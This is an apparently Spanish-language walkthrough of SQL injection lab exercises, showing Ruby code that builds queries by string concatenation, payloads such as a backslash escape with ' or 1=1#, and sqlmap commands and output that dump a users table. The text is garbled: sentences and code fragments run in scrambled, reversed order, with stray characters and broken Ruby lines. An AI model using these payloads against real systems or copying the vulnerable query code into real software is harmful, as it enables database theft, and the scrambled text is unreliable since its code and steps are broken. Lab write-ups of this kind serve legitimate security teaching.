

table 'sqlinjection_ers' dumped to CSV file '/home/vmotos/.sqlmap/output/vulnerable/dump/sqlinjection_example7/users.csv' Sqlmap -u -D sqlinjection_example7 -T users -dump Sqlmap -u -tables -D sqlinjection_example7 fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable' Web application technology: Apache 2.2.16 Web server operating system: Linux Debian 6.0 (squeeze) Sin embargo, dado que se muestran los mensajes de error, podemos usar también inyecciones basadas en error.Īl inyectar una declaración propensa a errores, podemos obtener Información directamente en los mensajes de error en lugar de utilizar un SQLi ciega Para explotar esta vulnerabilidad necesitaremos usar inyecciones SQL ciegas. Sql = "SELECT * FROM = ActiveRecord::(sql).to_a

Raise Exception, "Should only return one user." Name = "SELECT * FROM users WHERE = ActiveRecord::(sql).to_a Sql = "SELECT * FROM users WHERE = ActiveRecord::(sql).to_a El segundo usa el nombre de usuario del registro obtenido previamente para recuperar el usuario.ĪctiveRecord::Base.establish_connection SQLInjectionExample6.db En este ejemplo, se realizan dos consultas, la primera consulta recupera los detalles del usuario basados en el parámetro ID. select * from users where username =’\ ‘ and password =’ or 1=1#Īhora solo tenemos que inyectar el código:Įn este ejemplo la información se pasa por la URL, donde podemos ver fácilmente la consulta. Para explotarla necesitaremos hacer uso de limit en SQL que limita la cantidad de registros recibidos por la query.Įn el siguiente ejercicio se escapa la comilla simple ('):Įn este caso podemos usar la barra diagonal (\) para escapar la la comilla simple y comtinuar con la sentencia SQL, al que añadiremos la inyección ’ or 1=1# en el campo de la contraseña. Sql+= " AND password='"+params+"'"ĪctiveRecord::Base.establish_connection Sql = "SELECT * FROM users WHERE username='"+params+"'" Este ejemplo es la misma vulnerabilidad que la anterior pero el desarrollador se ha asegurado que solo se devuelva un usuario limitando la salida de la base de datos a la página.
